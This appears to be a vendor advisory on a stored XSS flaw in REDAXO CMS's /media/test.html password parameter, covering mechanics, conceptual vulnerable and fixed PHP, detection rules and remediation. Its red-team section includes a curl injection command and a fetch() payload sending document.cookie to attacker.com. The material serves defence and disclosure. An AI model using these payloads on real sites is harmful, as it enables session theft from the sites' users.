CVE-2024-46209
Executive Summary
CVE-2024-46209 is a stored cross-site scripting (XSS) vulnerability discovered in REDAXO CMS version 5.17.1. The flaw resides in the /media/test.html component, specifically within the password parameter. An attacker can inject arbitrary web scripts or HTML into the application, which is then stored and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is publicly known with proof-of-concept details available, but no official patch has been confirmed at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
REDAXO CMS is a PHP-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – attacker needs some access to trigger the stored XSS
- User Interaction (UI): Required (R) – victim must visit the affected page
- Scope (S): Changed (C) – impact may extend beyond the vulnerable component
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. The vulnerability requires user interaction and low privileges, but stored XSS can have cascading effects.
Deep Dive & Mechanics
The vulnerability is a classic stored cross-site scripting (XSS) flaw. The /media/test.html endpoint in REDAXO CMS 5.17.1 does not properly sanitize or validate the password parameter before storing it. When an attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via the password field, the input is stored in the application's data store (likely a database or file). Subsequently, when any user (including administrators) accesses the affected page, the malicious script is rendered and executed in their browser.
The root cause is insufficient output encoding and lack of input validation. The application likely uses the password parameter in a context where it is interpreted as HTML or JavaScript without proper escaping.
Attack Flow:
- Attacker identifies the vulnerable endpoint
/media/test.html. - Attacker sends a POST or GET request with a malicious payload in the
passwordparameter. - The payload is stored by the application.
- Victim (e.g., admin) visits the page that displays the stored data.
- The malicious script executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual PHP):
<?php
// Vulnerable: directly outputs user input without sanitization
$password = $_POST['password'];
echo "<div>Password: $password</div>";
?>
Patched Code (Expected Fix):
<?php
// Patched: use htmlspecialchars to escape output
$password = $_POST['password'];
echo "<div>Password: " . htmlspecialchars($password, ENT_QUOTES, 'UTF-8') . "</div>";
?>
The fix involves using htmlspecialchars() (or equivalent) to encode HTML special characters, preventing script injection. Additionally, input validation should be applied to reject or sanitize unexpected characters.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- REDAXO CMS 5.17.1 running on a local or remote server.
- Access to the
/media/test.htmlendpoint.
Exploit Payload:
<script>alert('XSS')</script>
Step-by-Step Exploitation:
- Identify the vulnerable endpoint:
http://target.com/media/test.html - Submit a POST request with the payload in the
passwordparameter:curl -X POST http://target.com/media/test.html -d "password=<script>alert('XSS')</script>" - The payload is stored. When an admin or user visits the page, the script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor logs for unusual POST requests to
/media/test.htmlwith suspicious parameters. - Use web application firewall (WAF) rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Lab Setup for Testing:
- Install REDAXO CMS 5.17.1 in a sandboxed environment (e.g., Docker).
- Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
- Verify the vulnerability by injecting a harmless payload (e.g.,
<b>test</b>) and observing the output.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/media/test.htmlwithpasswordparameter containing<script>tags or other HTML/JavaScript. - Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
- POST requests to
- File IOCs:
- Modified files in the
/media/directory (if the stored data is file-based). - Log entries showing unusual input in the password field.
- Modified files in the
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser when accessing
/media/test.html. - Unauthorized administrative actions performed via XSS.
- Unexpected JavaScript execution in the browser when accessing
Detection Engineering
YARA Rule
rule CVE_2024_46209_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting REDAXO CMS /media/test.html password parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-46209"
strings:
$xss1 = "<script" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "javascript:" ascii wide nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in REDAXO CMS /media/test.html
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /media/test.html with XSS payloads in password parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/media/test.html'
cs-uri-query|contains: 'password='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in password field (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46209 Stored XSS in REDAXO CMS /media/test.html"; flow:to_server,established; content:"POST"; http_method; content:"/media/test.html"; http_uri; content:"password="; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or restrict access to
/media/test.htmlif not required. - Apply input validation and output encoding to the
passwordparameter. - Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-Term Fix:
- Upgrade to a patched version of REDAXO CMS once available.
- Conduct a security audit of all user input handling.
- Use Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Modify the application code to sanitize the
passwordparameter usinghtmlspecialchars()or similar functions.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert